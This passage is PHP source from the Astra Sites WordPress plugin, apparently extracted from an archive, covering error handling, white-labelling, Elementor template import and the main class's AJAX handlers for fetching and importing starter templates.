Astra_Sites_Error_Handler. * * @since 3.0.23 * * @return object Class object. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-importer-log.php'; if ( true === astra_sites_has_import_started() ) { $this->start_error_handler(); } add_action( 'shutdown', array( $this, 'stop_handler' ) ); } /** * Stop the shutdown handlers. * * @return void */ public function stop_handler() { if ( true === astra_sites_has_import_started() ) { $this->stop_error_handler(); } } /** * Start the error handling. */ public function start_error_handler() { if ( ! interface_exists( 'Throwable' ) ) { // Fatal error handler for PHP < 7. register_shutdown_function( array( $this, 'shutdown_handler' ) ); } // Fatal error handler for PHP >= 7, and uncaught exception handler for all PHP versions. set_exception_handler( array( $this, 'exception_handler' ) ); } /** * Stop and restore the error handlers. */ public function stop_error_handler() { // Restore the error handlers. restore_error_handler(); restore_exception_handler(); } /** * Uncaught exception handler. * * In PHP >= 7 this will receive a Throwable object. * In PHP < 7 it will receive an Exception object. * * @throws Exception Exception that is catched. * @param Throwable|Exception $e The error or exception. */ public function exception_handler( $e ) { if ( is_a( $e, 'Exception' ) ) { $error = 'Uncaught Exception'; } else { $error = 'Uncaught Error'; } Astra_Sites_Importer_Log::add( 'There was an error on website: ' . $error ); Astra_Sites_Importer_Log::add( $e ); if ( wp_doing_ajax() ) { wp_send_json_error( array( 'message' => __( 'There was an error on your website.', 'astra-sites' ), 'stack' => array( 'error-message' => sprintf( '%s: %s', $error, $e->getMessage() ), 'file' => $e->getFile(), 'line' => $e->getLine(), 'trace' => $e->getTrace(), ), ) ); } throw $e; } /** * Displays fatal error output for sites running PHP < 7. */ public function shutdown_handler() { $e = error_get_last(); if ( empty( $e ) || ! ( $e['type'] & ST_ERROR_FATALS ) ) { return; } if ( $e['type'] & E_RECOVERABLE_ERROR ) { $error = 'Catchable fatal error'; } else { $error = 'Fatal error'; } Astra_Sites_Importer_Log::add( 'There was an error on website: ' . $error ); Astra_Sites_Importer_Log::add( $e ); if ( wp_doing_ajax() ) { wp_send_json_error( array( 'message' => __( 'There was an error your website.', 'astra-sites' ), 'stack' => array( 'error-message' => $error, 'error' => $e, ), ) ); } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Error_Handler::get_instance(); class-astra-sites-white-label.php 0000666 00000017017 15165314160 0013026 0 ustar 00 <?php /** * Astra Sites White Label * * @package Astra Sites * @since 1.0.12 */ if ( ! class_exists( 'Astra_Sites_White_Label' ) ) : /** * Astra_Sites_White_Label * * @since 1.0.12 */ class Astra_Sites_White_Label { /** * Instance * * @since 1.0.12 * * @var object Class Object. * @access private */ private static $instance; /** * Member Variable * * @since 1.0.12 * * @var array branding * @access private */ private static $branding; /** * Settings * * @since 1.2.11 * * @var array settings * * @access private */ private $settings; /** * Initiator * * @since 1.0.12 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.0.12 */ public function __construct() { add_filter( 'all_plugins', array( $this, 'plugins_page' ) ); add_filter( 'astra_addon_branding_options', __CLASS__ . '::settings' ); add_action( 'astra_pro_white_label_add_form', __CLASS__ . '::add_white_label_form' ); add_filter( 'astra_sites_menu_page_title', array( $this, 'get_white_label_name' ) ); add_filter( 'astra_sites_page_title', array( $this, 'get_white_label_name' ) ); // Update Astra's admin top level menu position. add_filter( 'astra_menu_priority', array( $this, 'update_admin_menu_position' ) ); // Display the link with the plugin meta. if ( is_admin() ) { add_filter( 'plugin_row_meta', array( $this, 'plugin_links' ), 10, 4 ); } add_filter( 'gutenberg_templates_localize_vars', array( $this, 'add_white_label_name' ) ); } /** * Update Astra's menu priority to show after Dashboard menu. * * @param int $menu_priority top level menu priority. * @since 3.1.22 */ public function update_admin_menu_position( $menu_priority ) { return 2.1; } /** * Add White Label data * * @param array $args White label. * @since 2.6.0 */ public function add_white_label_name( $args = array() ) { $args['white_label_name'] = $this->get_white_label(); return $args; } /** * White labels the plugins page. * * @since 1.0.12 * * @param array $plugins Plugins Array. * @return array */ public function plugins_page( $plugins ) { if ( ! is_callable( 'Astra_Ext_White_Label_Markup::get_whitelabel_string' ) ) { return $plugins; } if ( ! isset( $plugins[ ASTRA_SITES_BASE ] ) ) { return $plugins; } // Set White Labels. $name = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'name' ); $description = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'description' ); $author = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-agency', 'author' ); $author_uri = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-agency', 'author_url' ); if ( ! empty( $name ) ) { $plugins[ ASTRA_SITES_BASE ]['Name'] = $name; // Remove Plugin URI if Agency White Label name is set. $plugins[ ASTRA_SITES_BASE ]['PluginURI'] = ''; } if ( ! empty( $description ) ) { $plugins[ ASTRA_SITES_BASE ]['Description'] = $description; } if ( ! empty( $author ) ) { $plugins[ ASTRA_SITES_BASE ]['Author'] = $author; } if ( ! empty( $author_uri ) ) { $plugins[ ASTRA_SITES_BASE ]['AuthorURI'] = $author_uri; } return $plugins; } /** * Get value of single key from option array. * * @since 2.0.0. * @param string $type Option type. * @param string $key Option key. * @param string $default Default value if key not found. * @return mixed Return stored option value. */ public static function get_option( $type = '', $key = '', $default = null ) { if ( ! is_callable( 'Astra_Ext_White_Label_Markup::get_white_label' ) ) { return $default; } $value = Astra_Ext_White_Label_Markup::get_white_label( $type, $key ); if ( ! empty( $value ) ) { return $value; } return $default; } /** * Remove a "view details" link from the plugin list table * * @since 1.0.12 * * @param array $plugin_meta List of links. * @param string $plugin_file Relative path to the main plugin file from the plugins directory. * @param array $plugin_data Data from the plugin headers. * @return array */ public function plugin_links( $plugin_meta, $plugin_file, $plugin_data ) { if ( ! is_callable( 'Astra_Ext_White_Label_Markup::get_whitelabel_string' ) ) { return $plugin_meta; } // Set White Labels. if ( ASTRA_SITES_BASE === $plugin_file ) { $name = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'name' ); $description = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'description' ); // Remove Plugin URI if Agency White Label name is set. if ( ! empty( $name ) ) { unset( $plugin_meta[2] ); } } return $plugin_meta; } /** * Add White Label setting's * * @since 1.0.12 * * @param array $settings White label setting. * @return array */ public static function settings( $settings = array() ) { $settings['astra-sites'] = array( 'name' => '', 'description' => '', ); return $settings; } /** * Add White Label form * * @since 1.0.12 * * @param array $settings White label setting. * @return void */ public static function add_white_label_form( $settings = array() ) { /* translators: %1$s product name */ $plugin_name = sprintf( __( '%1$s Branding', 'astra-sites' ), ASTRA_SITES_NAME ); require_once ASTRA_SITES_DIR . 'inc/includes/white-label.php'; } /** * Page Title * * @since 1.0.12 * * @param string $title Page Title. * @return string Filtered Page Title. */ public function get_white_label_name( $title = '' ) { if ( is_callable( 'Astra_Ext_White_Label_Markup::get_whitelabel_string' ) ) { $astra_sites_name = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'name' ); if ( ! empty( $astra_sites_name ) ) { return Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'name' ); } } return ASTRA_SITES_NAME; } /** * White Label Link * * @since 2.0.0 * * @param string $link Default link. * @return string Filtered Page Title. */ public function get_white_label_link( $link = '' ) { if ( is_callable( 'Astra_Ext_White_Label_Markup::get_whitelabel_string' ) ) { $white_label_link = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-agency', 'licence' ); if ( ! empty( $white_label_link ) ) { return $white_label_link; } } return $link; } /** * Is Astra sites White labeled * * @since 1.2.13 * * @return string */ public function is_white_labeled() { $white_label = $this->get_white_label(); if ( empty( $white_label ) ) { return false; } return true; } /** * Get white label name * * @since 2.6.0 * * @return string */ public function get_white_label() { if ( ! is_callable( 'Astra_Ext_White_Label_Markup::get_whitelabel_string' ) ) { return ''; } $name = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'name' ); if ( ! empty( $name ) ) { return $name; } return ''; } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_White_Label::get_instance(); endif; class-astra-sites-elementor-pages.php 0000666 00000005221 15165314160 0013712 0 ustar 00 <?php /** * Elementor Importer * * @package Astra Sites */ namespace Elementor\TemplateLibrary; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } // If plugin - 'Elementor' not exist then return. if ( ! class_exists( '\Elementor\Plugin' ) ) { return; } use Elementor\Core\Base\Document; use Elementor\DB; use Elementor\Core\Settings\Page\Manager as PageSettingsManager; use Elementor\Core\Settings\Manager as SettingsManager; use Elementor\Core\Settings\Page\Model; use Elementor\Editor; use Elementor\Plugin; use Elementor\Settings; use Elementor\Utils; /** * Elementor template library local source. * * Elementor template library local source handler class is responsible for * handling local Elementor templates saved by the user locally on his site. * * @since 2.0.0 Added compatibility for Elemetnor v2.5.0 */ class Astra_Sites_Elementor_Pages extends Source_Local { /** * Update post meta. * * @since 2.0.0 * @param integer $post_id Post ID. * @param array $data Elementor Data. * @return array $data Elementor Imported Data. */ public function import( $post_id = 0, $data = array() ) { if ( ! empty( $post_id ) && ! empty( $data ) ) { $data = wp_json_encode( $data, true ); // Update WP form IDs. $ids_mapping = get_option( 'astra_sites_wpforms_ids_mapping', array() ); if ( $ids_mapping ) { foreach ( $ids_mapping as $old_id => $new_id ) { $data = str_replace( '[wpforms id=\"' . $old_id, '[wpforms id=\"' . $new_id, $data ); $data = str_replace( '"select_form":"' . $old_id, '"select_form":"' . $new_id, $data ); } } $data = json_decode( $data, true ); // Import the data. $data = $this->process_export_import_content( $data, 'on_import' ); // Replace the site urls. $demo_data = get_option( 'astra_sites_import_data', array() ); if ( isset( $demo_data['astra-site-url'] ) ) { $site_url = get_site_url(); $site_url = str_replace( '/', '\/', $site_url ); $demo_site_url = 'https:' . $demo_data['astra-site-url']; $demo_site_url = str_replace( '/', '\/', $demo_site_url ); if ( ! is_array( $data ) ) { $data = str_replace( $demo_site_url, $site_url, $data ); } else { $data = wp_json_encode( $data, true ); if ( ! empty( $data ) ) { $data = str_replace( $demo_site_url, $site_url, $data ); $data = json_decode( $data, true ); } } } // Update processed meta. update_metadata( 'post', $post_id, '_elementor_data', $data ); // !important, Clear the cache after images import. Plugin::$instance->posts_css_manager->clear_cache(); return $data; } return array(); } } class-astra-sites.php 0000666 00000260310 15165314160 0010627 0 ustar 00 <?php /** * Astra Sites * * @since 1.0.0 * @package Astra Sites */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Sites' ) ) : /** * Astra_Sites */ class Astra_Sites { /** * API Domain name * * @var (String) URL */ public $api_domain; /** * API URL which is used to get the response from. * * @since 1.0.0 * @var (String) URL */ public $api_url; /** * Search API URL which is used to get the response from. * * @since 2.0.0 * @var (String) URL */ public $search_analytics_url; /** * Import Analytics API URL * * @since 3.1.4 * @var (String) URL */ public $import_analytics_url; /** * API URL which is used to get the response from Pixabay. * * @since 2.0.0 * @var (String) URL */ public $pixabay_url; /** * API Key which is used to get the response from Pixabay. * * @since 2.0.0 * @var (String) URL */ public $pixabay_api_key; /** * Instance of Astra_Sites * * @since 1.0.0 * @var (Object) Astra_Sites */ private static $instance = null; /** * Localization variable * * @since 2.0.0 * @var (Array) $local_vars */ public static $local_vars = array(); /** * Localization variable * * @since 2.0.0 * @var (Array) $wp_upload_url */ public $wp_upload_url = ''; /** * Ajax * * @since 2.6.20 * @var (Array) $ajax */ private $ajax = array(); /** * Instance of Astra_Sites. * * @since 1.0.0 * * @return object Class object. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. * * @since 1.0.0 */ private function __construct() { $this->set_api_url(); $this->includes(); add_action( 'plugin_action_links_' . ASTRA_SITES_BASE, array( $this, 'action_links' ) ); add_action( 'plugins_loaded', array( $this, 'load_textdomain' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue' ), 99 ); add_action( 'wp_enqueue_scripts', array( $this, 'image_search_scripts' ) ); add_action( 'elementor/editor/footer', array( $this, 'insert_templates' ) ); add_action( 'admin_footer', array( $this, 'insert_image_templates' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'insert_image_templates' ) ); add_action( 'wp_footer', array( $this, 'insert_image_templates_bb_and_brizy' ) ); add_action( 'elementor/editor/footer', array( $this, 'register_widget_scripts' ), 99 ); add_action( 'elementor/editor/before_enqueue_scripts', array( $this, 'popup_styles' ) ); add_action( 'elementor/preview/enqueue_styles', array( $this, 'popup_styles' ) ); add_action( 'astra_sites_after_plugin_activation', array( $this, 'disable_wp_forms_redirect' ) ); // AJAX. $this->ajax = array( 'astra-required-plugins' => 'required_plugin', 'astra-required-plugin-activate' => 'required_plugin_activate', 'astra-sites-backup-settings' => 'backup_settings', 'astra-sites-set-reset-data' => 'get_reset_data', 'astra-sites-reset-terms-and-forms' => 'reset_terms_and_forms', 'astra-sites-reset-posts' => 'reset_posts', 'astra-sites-activate-theme' => 'activate_theme', 'astra-sites-create-template' => 'create_template', 'astra-sites-create-image' => 'create_image', 'astra-sites-get-deleted-post-ids' => 'get_deleted_post_ids', 'astra-sites-search-images' => 'search_images', 'astra-sites-getting-started-notice' => 'getting_started_notice', 'astra-sites-favorite' => 'add_to_favorite', 'astra-sites-api-request' => 'api_request', 'astra-sites-elementor-api-request' => 'elementor_api_request', 'astra-sites-elementor-flush-request' => 'elementor_flush_request', 'astra-page-elementor-insert-page' => 'elementor_process_import_for_page', 'astra-sites-update-subscription' => 'update_subscription', 'astra-sites-update-analytics' => 'update_analytics', 'astra-sites-filesystem-permission' => 'filesystem_permission', 'astra-sites-generate-analytics-lead' => 'push_to_import_analytics', ); foreach ( $this->ajax as $ajax_hook => $ajax_callback ) { add_action( 'wp_ajax_' . $ajax_hook, array( $this, $ajax_callback ) ); } add_action( 'delete_attachment', array( $this, 'delete_astra_images' ) ); add_filter( 'heartbeat_received', array( $this, 'search_push' ), 10, 2 ); add_filter( 'status_header', array( $this, 'status_header' ), 10, 4 ); add_filter( 'wp_php_error_message', array( $this, 'php_error_message' ), 10, 2 ); add_filter( 'wp_import_post_data_processed', array( $this, 'wp_slash_after_xml_import' ), 99, 2 ); } /** * Add slashes while importing the XML with WordPress Importer v2. * * @param array $postdata Processed Post data. * @param array $data Post data. */ public function wp_slash_after_xml_import( $postdata, $data ) { return wp_slash( $postdata ); } /** * Check is Starter Templates AJAX request. * * @since 2.7.0 * @return boolean */ public function is_starter_templates_request() { if ( isset( $_REQUEST['action'] ) && in_array( $_REQUEST['action'], array_keys( $this->ajax ), true ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. return true; } return false; } /** * Filters the message that the default PHP error template displays. * * @since 2.7.0 * * @param string $message HTML error message to display. * @param array $error Error information retrieved from `error_get_last()`. * @return mixed */ public function php_error_message( $message, $error ) { if ( ! $this->is_starter_templates_request() ) { return $message; } if ( empty( $error ) ) { return $message; } $message = isset( $error['message'] ) ? $error['message'] : $message; return $message; } /** * Filters an HTTP status header. * * @since 2.6.20 * * @param string $status_header HTTP status header. * @param int $code HTTP status code. * @param string $description Description for the status code. * @param string $protocol Server protocol. * * @return mixed */ public function status_header( $status_header, $code, $description, $protocol ) { if ( ! $this->is_starter_templates_request() ) { return $status_header; } $error = error_get_last(); if ( empty( $error ) ) { return $status_header; } $message = isset( $error['message'] ) ? $error['message'] : $description; return "$protocol $code $message"; } /** * Update Analytics Optin/Optout */ public function update_analytics() { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } $optin_answer = isset( $_POST['data'] ) ? sanitize_text_field( $_POST['data'] ) : 'no'; $optin_answer = 'yes' === $optin_answer ? 'yes' : 'no'; update_site_option( 'bsf_analytics_optin', $optin_answer ); wp_send_json_success(); } /** * Update Subscription */ public function update_subscription() { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } $arguments = isset( $_POST['data'] ) ? array_map( 'sanitize_text_field', json_decode( stripslashes( $_POST['data'] ), true ) ) : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Already sanitized using `array_map` and `sanitize_text_field`. // Page Builder mapping. $page_builder_mapping = array( 'Elementor' => 1, 'Beaver Builder' => 2, 'Brizy' => 3, 'Gutenberg' => 4, ); $arguments['PAGE_BUILDER'] = isset( $page_builder_mapping[ $arguments['PAGE_BUILDER'] ] ) ? $page_builder_mapping[ $arguments['PAGE_BUILDER'] ] : ''; $url = apply_filters( 'astra_sites_subscription_url', $this->api_domain . 'wp-json/starter-templates/v1/subscribe/' ); $args = array( 'timeout' => 30, 'body' => $arguments, ); $response = wp_remote_post( $url, $args ); if ( ! is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) === 200 ) { $response = json_decode( wp_remote_retrieve_body( $response ), true ); // Successfully subscribed. if ( isset( $response['success'] ) && $response['success'] ) { update_user_meta( get_current_user_ID(), 'astra-sites-subscribed', 'yes' ); } } wp_send_json_success( $response ); } /** * Push Data to Search API. * * @since 2.0.0 * @param Object $response Response data object. * @param Object $data Data object. * * @return array Search response. */ public function search_push( $response, $data ) { // If we didn't receive our data, don't send any back. if ( empty( $data['ast-sites-search-terms'] ) ) { return $response; } $args = array( 'timeout' => 3, 'blocking' => true, 'sslverify' => apply_filters( 'https_local_ssl_verify', false ), 'body' => array( 'search' => $data['ast-sites-search-terms'], 'builder' => isset( $data['ast-sites-builder'] ) ? $data['ast-sites-builder'] : 'gutenberg', 'url' => esc_url( site_url() ), 'type' => 'astra-sites', ), ); $result = wp_remote_post( $this->search_analytics_url, $args ); $response['ast-sites-search-terms'] = wp_remote_retrieve_body( $result ); return $response; } /** * Push Data to Import Analytics API. * * @since 3.1.4 */ public function push_to_import_analytics() { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : 0; if ( 0 === $id ) { wp_send_json_error( array( /* translators: %d is the Template ID. */ 'message' => sprintf( __( 'Invalid Template ID - %d', 'astra-sites' ), $id ), 'code' => 'Error', ) ); } $data = array( 'id' => $id, 'import_attempts' => isset( $_POST['try-again-count'] ) ? absint( $_POST['try-again-count'] ) : 0, 'import_status' => isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : 'true', 'type' => isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : 'astra-sites', 'page_builder' => isset( $_POST['page-builder'] ) ? sanitize_text_field( $_POST['page-builder'] ) : 'gutenberg', ); $result = Astra_Sites_Reporting::get_instance()->report( $data ); if ( $result['status'] ) { delete_option( 'astra_sites_has_sent_error_report' ); delete_option( 'astra_sites_cached_import_error' ); wp_send_json_success( $result['data'] ); } wp_send_json_error( $result['data'] ); } /** * Before Astra Image delete, remove from options. * * @since 2.0.0 * @param int $id ID to deleting image. * @return void */ public function delete_astra_images( $id ) { if ( ! $id ) { return; } $saved_images = get_option( 'astra-sites-saved-images', array() ); $astra_image_flag = get_post_meta( $id, 'astra-images', true ); $astra_image_flag = (int) $astra_image_flag; if ( '' !== $astra_image_flag && is_array( $saved_images ) && ! empty( $saved_images ) && in_array( $astra_image_flag, $saved_images ) ) { $flag_arr = array( $astra_image_flag ); $saved_images = array_diff( $saved_images, $flag_arr ); update_option( 'astra-sites-saved-images', $saved_images, 'no' ); } } /** * Enqueue Image Search scripts into Beaver Builder Editor. * * @since 2.0.0 * @return void */ public function image_search_scripts() { if ( class_exists( 'FLBuilderModel' ) && FLBuilderModel::is_builder_active() // BB Builder is on? || ( class_exists( 'Brizy_Editor_Post' ) && // Brizy Builder is on? ( isset( $_GET['brizy-edit'] ) || isset( $_GET['brizy-edit-iframe'] ) ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. ) || is_customize_preview() // Is customizer on? ) { // Image Search assets. $this->image_search_assets(); } } /** * Elementor Batch Process via AJAX * * @since 2.0.0 */ public function elementor_process_import_for_page() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $type = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : ''; $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; $demo_data = get_option( 'astra_sites_import_elementor_data_' . $id, array() ); if ( 'astra-blocks' == $type ) { $api_url = trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $type . '/' . $id; } else { $api_url = $demo_data['astra-page-api-url']; } if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( __( 'Invalid API URL.', 'astra-sites' ) ); } $response = wp_remote_get( $api_url ); if ( is_wp_error( $response ) ) { wp_send_json_error( wp_remote_retrieve_body( $response ) ); } $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body, true ); if ( ! isset( $data['post-meta']['_elementor_data'] ) ) { wp_send_json_error( __( 'Invalid Post Meta', 'astra-sites' ) ); } $meta = json_decode( $data['post-meta']['_elementor_data'], true ); $post_id = isset( $_POST['id'] ) ? absint( sanitize_key( $_POST['id'] ) ) : ''; if ( empty( $post_id ) || empty( $meta ) ) { wp_send_json_error( __( 'Invalid Post ID or Elementor Meta', 'astra-sites' ) ); } if ( isset( $data['astra-page-options-data'] ) && isset( $data['astra-page-options-data']['elementor_load_fa4_shim'] ) ) { update_option( 'elementor_load_fa4_shim', $data['astra-page-options-data']['elementor_load_fa4_shim'] ); } $import = new \Elementor\TemplateLibrary\Astra_Sites_Elementor_Pages(); $import_data = $import->import( $post_id, $meta ); delete_option( 'astra_sites_import_elementor_data_' . $id ); wp_send_json_success( $import_data ); } /** * API Request * * @since 2.0.0 */ public function api_request() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $url = isset( $_POST['url'] ) ? sanitize_text_field( $_POST['url'] ) : ''; if ( empty( $url ) ) { wp_send_json_error( array( 'message' => __( 'Provided API URL is empty! Please try again!', 'astra-sites' ), 'code' => 'Error', ) ); } $api_args = apply_filters( 'astra_sites_api_params', array( 'template_status' => '', 'version' => ASTRA_SITES_VER, ) ); $api_url = add_query_arg( $api_args, trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $url ); if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( array( /* Translators: %s is API URL. */ 'message' => sprintf( __( 'Invalid Request URL - %s', 'astra-sites' ), $api_url ), 'code' => 'Error', ) ); } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $api_args = apply_filters( 'astra_sites_api_args', array( 'timeout' => 15, ) ); $request = wp_remote_get( $api_url, $api_args ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( is_wp_error( $request ) ) { $wp_error_code = $request->get_error_code(); switch ( $wp_error_code ) { case 'http_request_not_executed': /* translators: %s Error Message */ $message = sprintf( __( 'API Request could not be performed - %s', 'astra-sites' ), $request->get_error_message() ); break; case 'http_request_failed': default: /* translators: %s Error Message */ $message = sprintf( __( 'API Request has failed - %s', 'astra-sites' ), $request->get_error_message() ); break; } wp_send_json_error( array( 'message' => $request->get_error_message(), 'code' => 'WP_Error', 'response_code' => $wp_error_code, ) ); } $code = (int) wp_remote_retrieve_response_code( $request ); $demo_data = json_decode( wp_remote_retrieve_body( $request ), true ); if ( 200 === $code ) { update_option( 'astra_sites_import_data', $demo_data, 'no' ); wp_send_json_success( $demo_data ); } $message = wp_remote_retrieve_body( $request ); $response_code = $code; if ( 200 !== $code && is_array( $demo_data ) && isset( $demo_data['code'] ) ) { $message = $demo_data['message']; } if ( 500 === $code ) { $message = __( 'Internal Server Error.', 'astra-sites' ); } if ( 200 !== $code && false !== strpos( $message, 'Cloudflare' ) ) { $ip = Astra_Sites_Helper::get_client_ip(); /* translators: %s IP address. */ $message = sprintf( __( 'Client IP: %1$s </br> Error code: %2$s', 'astra-sites' ), $ip, $code ); $code = 'Cloudflare'; } wp_send_json_error( array( 'message' => $message, 'code' => $code, 'response_code' => $response_code, ) ); } /** * API Request * * @since 3.2.4 */ public function elementor_api_request() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; $type = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : ''; if ( empty( $id ) || empty( $type ) ) { wp_send_json_error( array( 'message' => __( 'Provided API details are empty! Please try again!', 'astra-sites' ), 'code' => 'Error', ) ); } $api_args = apply_filters( 'astra_sites_api_params', array( 'url' => site_url(), 'version' => ASTRA_SITES_VER, ) ); $api_url = add_query_arg( $api_args, trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $type . '/' . $id ); if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( array( /* Translators: %s is API URL. */ 'message' => sprintf( __( 'Invalid Request URL - %s', 'astra-sites' ), $api_url ), 'code' => 'Error', ) ); } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $api_args = apply_filters( 'astra_sites_api_args', array( 'timeout' => 15, ) ); $request = wp_remote_get( $api_url, $api_args ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( is_wp_error( $request ) ) { $wp_error_code = $request->get_error_code(); switch ( $wp_error_code ) { case 'http_request_not_executed': /* translators: %s Error Message */ $message = sprintf( __( 'API Request could not be performed - %s', 'astra-sites' ), $request->get_error_message() ); break; case 'http_request_failed': default: /* translators: %s Error Message */ $message = sprintf( __( 'API Request has failed - %s', 'astra-sites' ), $request->get_error_message() ); break; } wp_send_json_error( array( 'message' => $request->get_error_message(), 'code' => 'WP_Error', 'response_code' => $wp_error_code, ) ); } $code = (int) wp_remote_retrieve_response_code( $request ); $demo_data = json_decode( wp_remote_retrieve_body( $request ), true ); if ( 200 === $code ) { update_option( 'astra_sites_import_elementor_data_' . $id, $demo_data, 'no' ); wp_send_json_success( $demo_data ); } $message = wp_remote_retrieve_body( $request ); $response_code = $code; if ( 200 !== $code && is_array( $demo_data ) && isset( $demo_data['code'] ) ) { $message = $demo_data['message']; } if ( 500 === $code ) { $message = __( 'Internal Server Error.', 'astra-sites' ); } if ( 200 !== $code && false !== strpos( $message, 'Cloudflare' ) ) { $ip = Astra_Sites_Helper::get_client_ip(); /* translators: %s IP address. */ $message = sprintf( __( 'Client IP: %1$s </br> Error code: %2$s', 'astra-sites' ), $ip, $code ); $code = 'Cloudflare'; } wp_send_json_error( array( 'message' => $message, 'code' => $code, 'response_code' => $response_code, ) ); } /** * API Flush Request * * @since 3.2.4 */ public function elementor_flush_request() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; delete_option( 'astra_sites_import_elementor_data_' . $id ); wp_send_json_success(); } /** * Insert Template * * @return void */ public function insert_image_templates() { ob_start(); require_once ASTRA_SITES_DIR . 'inc/includes/image-templates.php'; ob_end_flush(); } /** * Insert Template * * @return void */ public function insert_image_templates_bb_and_brizy() { if ( class_exists( 'FLBuilderModel' ) && FLBuilderModel::is_builder_active() // BB Builder is on? || ( class_exists( 'Brizy_Editor_Post' ) && // Brizy Builder is on? ( isset( $_GET['brizy-edit'] ) || isset( $_GET['brizy-edit-iframe'] ) ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. ) ) { // Image Search Templates. ob_start(); require_once ASTRA_SITES_DIR . 'inc/includes/image-templates.php'; ob_end_flush(); } } /** * Insert Template * * @return void */ public function insert_templates() { ob_start(); require_once ASTRA_SITES_DIR . 'inc/includes/templates.php'; require_once ASTRA_SITES_DIR . 'inc/includes/image-templates.php'; ob_end_flush(); } /** * Add/Remove Favorite. * * @since 2.0.0 */ public function add_to_favorite() { if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); $new_favorites = array(); $site_id = isset( $_POST['site_id'] ) ? sanitize_key( $_POST['site_id'] ) : ''; if ( empty( $site_id ) ) { wp_send_json_error(); } $favorite_settings = get_option( 'astra-sites-favorites', array() ); if ( false !== $favorite_settings && is_array( $favorite_settings ) ) { $new_favorites = $favorite_settings; } $is_favorite = isset( $_POST['is_favorite'] ) ? sanitize_key( $_POST['is_favorite'] ) : ''; if ( 'false' === $is_favorite ) { if ( in_array( $site_id, $new_favorites, true ) ) { $key = array_search( $site_id, $new_favorites, true ); unset( $new_favorites[ $key ] ); } } else { if ( ! in_array( $site_id, $new_favorites, true ) ) { array_push( $new_favorites, $site_id ); } } update_option( 'astra-sites-favorites', $new_favorites, 'no' ); wp_send_json_success( array( 'all_favorites' => $new_favorites, ) ); } /** * Import Template. * * @since 2.0.0 */ public function create_template() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $id = 